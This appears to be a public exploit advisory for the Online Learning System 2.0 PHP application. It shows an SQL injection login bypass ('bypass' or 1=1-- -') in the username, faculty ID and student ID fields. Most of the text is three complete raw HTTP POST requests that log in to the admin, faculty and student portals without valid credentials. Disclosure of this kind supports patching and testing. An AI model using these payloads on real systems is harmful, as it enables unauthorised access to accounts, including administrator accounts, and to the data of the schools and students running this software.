Online Learning System 2.0 – ‘Multiple’ SQLi Authentication Bypass
# Exploit Title: Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass # Date: 11.10.2021 # Exploit Author: Oguzhan Kara # Vendor Homepage: https://www.sourcecodester.com/php/14929/online-learning-system-v2-using-php-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14929&title=Online+Learning+System+V2+using+PHP+Free+Source+Code # Version: 2.0 # Tested on: Kali Linux, Windows 10 - XAMPP # Online Learning System v2.0 Login pages can be bypassed with a simple SQLi to the username/facultyID/studentID parameters. Steps To Reproduce: 1 - Go to one of the login portals 2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes ("bypass" is can be anything in this scenario) and type anything you want to the password field. 3 - Click on "Login" button and you are logged in as first user in database, which is admin user for admin portal. PoC ---Admin Portal--- POST /elearning/classes/Login.php?f=login HTTP/1.1 Host: localhost Content-Length: 45 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/elearning/admin/login.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923 Connection: close username=bypass'+or+1%3D1--+-&password=bypass ---Faculty Portal--- POST /elearning/classes/Login.php?f=flogin HTTP/1.1 Host: localhost Content-Length: 47 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/elearning/faculty/login.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923 Connection: close faculty_id=bypass'+or+1%3D1--+-&password=bypass ---Student Portal--- POST /elearning/classes/Login.php?f=slogin HTTP/1.1 Host: localhost Content-Length: 45 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94" Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/elearning/student/login.php Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923 Connection: close student_id=bypass'+or+1%3D1--+-&password=test |